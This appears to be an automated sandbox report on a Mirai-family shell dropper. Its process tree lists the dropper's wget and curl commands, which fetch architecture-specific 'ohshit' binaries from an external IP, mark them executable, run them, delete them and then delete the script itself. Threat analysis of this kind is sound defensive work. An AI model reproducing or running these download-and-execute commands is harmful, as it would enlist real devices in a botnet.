Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/06/2026, 12:49

General

  • Target
    35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a.sh
  • Size 4KB
  • Sample260628-p2cbaahs7x
  • SHA256 35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 4 IoCs
  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a.sh
    /tmp/35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /usr/bin/wget
      wget -q "--tries=3" "--timeout=10" -O ohshit.x86 http://192.142.28.77/bachekuni/ohshit.x86
      2⤵
      • Writes file to tmp directory
      PID:646
    • /usr/bin/curl
      curl -fsSL --connect-timeout 10 -o ohshit.x86 http://192.142.28.77/bachekuni/ohshit.x86
      2⤵
      • Checks CPU configuration
      • Writes file to tmp directory
      PID:671
    • /bin/chmod
      chmod +x ohshit.x86
      2⤵
      • File and Directory Permissions Modification
      PID:672
    • /tmp/ohshit.x86
      ./ohshit.x86 x26
      2⤵
        PID:673
      • /bin/rm
        rm -f ohshit.x86
        2⤵
          PID:675
        • /usr/bin/wget
          wget -q "--tries=3" "--timeout=10" -O ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:676
        • /usr/bin/curl
          curl -fsSL --connect-timeout 10 -o ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:685
        • /bin/chmod
          chmod +x ohshit.mips
          2⤵
          • File and Directory Permissions Modification
          PID:709
        • /tmp/ohshit.mips
          ./ohshit.mips x26
          2⤵
          • System Network Configuration Discovery
          PID:711
        • /bin/rm
          rm -f ohshit.mips
          2⤵
          • System Network Configuration Discovery
          PID:713
        • /usr/bin/wget
          wget -q "--tries=3" "--timeout=10" -O ohshit.arc http://192.142.28.77/bachekuni/ohshit.arc
          2⤵
          • Writes file to tmp directory
          PID:715
        • /usr/bin/curl
          curl -fsSL --connect-timeout 10 -o ohshit.arc http://192.142.28.77/bachekuni/ohshit.arc
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod +x ohshit.arc
          2⤵
          • File and Directory Permissions Modification
          PID:729
        • /tmp/ohshit.arc
          ./ohshit.arc x26
          2⤵
            PID:730
          • /bin/rm
            rm -f ohshit.arc
            2⤵
              PID:732
            • /usr/bin/wget
              wget -q "--tries=3" "--timeout=10" -O ohshit.i686 http://192.142.28.77/bachekuni/ohshit.i686
              2⤵
              • Writes file to tmp directory
              PID:733
            • /usr/bin/curl
              curl -fsSL --connect-timeout 10 -o ohshit.i686 http://192.142.28.77/bachekuni/ohshit.i686
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:753
            • /bin/chmod
              chmod +x ohshit.i686
              2⤵
              • File and Directory Permissions Modification
              PID:765
            • /tmp/ohshit.i686
              ./ohshit.i686 x26
              2⤵
                PID:766
              • /bin/rm
                rm -f ohshit.i686
                2⤵
                  PID:768
                • /usr/bin/wget
                  wget -q "--tries=3" "--timeout=10" -O ohshit.x86_64 http://192.142.28.77/bachekuni/ohshit.x86_64
                  2⤵
                  • Writes file to tmp directory
                  PID:769
                • /usr/bin/curl
                  curl -fsSL --connect-timeout 10 -o ohshit.x86_64 http://192.142.28.77/bachekuni/ohshit.x86_64
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:770
                • /bin/chmod
                  chmod +x ohshit.x86_64
                  2⤵
                  • File and Directory Permissions Modification
                  PID:771
                • /tmp/ohshit.x86_64
                  ./ohshit.x86_64 x26
                  2⤵
                    PID:772
                  • /bin/rm
                    rm -f ohshit.x86_64
                    2⤵
                      PID:774
                    • /usr/bin/wget
                      wget -q "--tries=3" "--timeout=10" -O ohshit.mpsl http://192.142.28.77/bachekuni/ohshit.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:775
                    • /usr/bin/curl
                      curl -fsSL --connect-timeout 10 -o ohshit.mpsl http://192.142.28.77/bachekuni/ohshit.mpsl
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:776
                    • /bin/chmod
                      chmod +x ohshit.mpsl
                      2⤵
                      • File and Directory Permissions Modification
                      PID:777
                    • /tmp/ohshit.mpsl
                      ./ohshit.mpsl x26
                      2⤵
                        PID:778
                      • /bin/rm
                        rm -f ohshit.mpsl
                        2⤵
                          PID:780
                        • /usr/bin/wget
                          wget -q "--tries=3" "--timeout=10" -O ohshit.arm http://192.142.28.77/bachekuni/ohshit.arm
                          2⤵
                          • Writes file to tmp directory
                          PID:781
                        • /usr/bin/curl
                          curl -fsSL --connect-timeout 10 -o ohshit.arm http://192.142.28.77/bachekuni/ohshit.arm
                          2⤵
                          • Checks CPU configuration
                          • Writes file to tmp directory
                          PID:782
                        • /bin/chmod
                          chmod +x ohshit.arm
                          2⤵
                          • File and Directory Permissions Modification
                          PID:783
                        • /tmp/ohshit.arm
                          ./ohshit.arm x26
                          2⤵
                          • Modifies Watchdog functionality
                          • Writes file to system bin folder
                          • Reads runtime system information
                          PID:784
                        • /bin/rm
                          rm -f ohshit.arm
                          2⤵
                            PID:792
                          • /usr/bin/wget
                            wget -q "--tries=3" "--timeout=10" -O ohshit.arm5 http://192.142.28.77/bachekuni/ohshit.arm5
                            2⤵
                            • Writes file to tmp directory
                            PID:794
                          • /usr/bin/curl
                            curl -fsSL --connect-timeout 10 -o ohshit.arm5 http://192.142.28.77/bachekuni/ohshit.arm5
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:795
                          • /bin/chmod
                            chmod +x ohshit.arm5
                            2⤵
                            • File and Directory Permissions Modification
                            PID:796
                          • /tmp/ohshit.arm5
                            ./ohshit.arm5 x26
                            2⤵
                              PID:797
                            • /bin/rm
                              rm -f ohshit.arm5
                              2⤵
                                PID:798
                              • /usr/bin/wget
                                wget -q "--tries=3" "--timeout=10" -O ohshit.arm6 http://192.142.28.77/bachekuni/ohshit.arm6
                                2⤵
                                • Writes file to tmp directory
                                PID:799
                              • /usr/bin/curl
                                curl -fsSL --connect-timeout 10 -o ohshit.arm6 http://192.142.28.77/bachekuni/ohshit.arm6
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:800
                              • /bin/chmod
                                chmod +x ohshit.arm6
                                2⤵
                                • File and Directory Permissions Modification
                                PID:801
                              • /tmp/ohshit.arm6
                                ./ohshit.arm6 x26
                                2⤵
                                  PID:802
                                • /bin/rm
                                  rm -f ohshit.arm6
                                  2⤵
                                    PID:803
                                  • /usr/bin/wget
                                    wget -q "--tries=3" "--timeout=10" -O ohshit.arm7 http://192.142.28.77/bachekuni/ohshit.arm7
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:804
                                  • /usr/bin/curl
                                    curl -fsSL --connect-timeout 10 -o ohshit.arm7 http://192.142.28.77/bachekuni/ohshit.arm7
                                    2⤵
                                    • Checks CPU configuration
                                    • Writes file to tmp directory
                                    PID:807
                                  • /bin/chmod
                                    chmod +x ohshit.arm7
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:808
                                  • /tmp/ohshit.arm7
                                    ./ohshit.arm7 x26
                                    2⤵
                                    • Modifies Watchdog functionality
                                    • Writes file to system bin folder
                                    • Reads runtime system information
                                    PID:809
                                  • /bin/rm
                                    rm -f ohshit.arm7
                                    2⤵
                                      PID:816
                                    • /usr/bin/wget
                                      wget -q "--tries=3" "--timeout=10" -O ohshit.ppc http://192.142.28.77/bachekuni/ohshit.ppc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:818
                                    • /usr/bin/curl
                                      curl -fsSL --connect-timeout 10 -o ohshit.ppc http://192.142.28.77/bachekuni/ohshit.ppc
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:819
                                    • /bin/chmod
                                      chmod +x ohshit.ppc
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:822
                                    • /tmp/ohshit.ppc
                                      ./ohshit.ppc x26
                                      2⤵
                                        PID:823
                                      • /bin/rm
                                        rm -f ohshit.ppc
                                        2⤵
                                          PID:825
                                        • /usr/bin/wget
                                          wget -q "--tries=3" "--timeout=10" -O ohshit.spc http://192.142.28.77/bachekuni/ohshit.spc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:826
                                        • /usr/bin/curl
                                          curl -fsSL --connect-timeout 10 -o ohshit.spc http://192.142.28.77/bachekuni/ohshit.spc
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:827
                                        • /bin/chmod
                                          chmod +x ohshit.spc
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:828
                                        • /tmp/ohshit.spc
                                          ./ohshit.spc x26
                                          2⤵
                                            PID:829
                                          • /bin/rm
                                            rm -f ohshit.spc
                                            2⤵
                                              PID:831
                                            • /usr/bin/wget
                                              wget -q "--tries=3" "--timeout=10" -O ohshit.m68k http://192.142.28.77/bachekuni/ohshit.m68k
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:832
                                            • /usr/bin/curl
                                              curl -fsSL --connect-timeout 10 -o ohshit.m68k http://192.142.28.77/bachekuni/ohshit.m68k
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:833
                                            • /bin/chmod
                                              chmod +x ohshit.m68k
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:834
                                            • /tmp/ohshit.m68k
                                              ./ohshit.m68k x26
                                              2⤵
                                                PID:835
                                              • /bin/rm
                                                rm -f ohshit.m68k
                                                2⤵
                                                  PID:837
                                                • /usr/bin/wget
                                                  wget -q "--tries=3" "--timeout=10" -O ohshit.sh4 http://192.142.28.77/bachekuni/ohshit.sh4
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:838
                                                • /usr/bin/curl
                                                  curl -fsSL --connect-timeout 10 -o ohshit.sh4 http://192.142.28.77/bachekuni/ohshit.sh4
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Writes file to tmp directory
                                                  PID:839
                                                • /bin/chmod
                                                  chmod +x ohshit.sh4
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:840
                                                • /tmp/ohshit.sh4
                                                  ./ohshit.sh4 x26
                                                  2⤵
                                                    PID:841
                                                  • /bin/rm
                                                    rm -f ohshit.sh4
                                                    2⤵
                                                      PID:843
                                                    • /bin/rm
                                                      rm -f /tmp/35558d159717ee5b1bf85401ba66f0abfeb06931b2297214b49077f5aa63ad1a.sh
                                                      2⤵
                                                        PID:844

                                                    Network

                                                          MITRE ATT&CK Enterprise v16

                                                          Replay Monitor

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                                                          Downloads

                                                          ohshit.x86

                                                          • Path /tmp/ohshit.x86
                                                          • Size 121KB
                                                          • SHA256 3ad48bae18b7ea8e7ffe3608b6eeaa4673b6ff47e9e6a21def774eecba66364a
                                                          • MD5 SHA1 SHA512 SSDEEP TLSH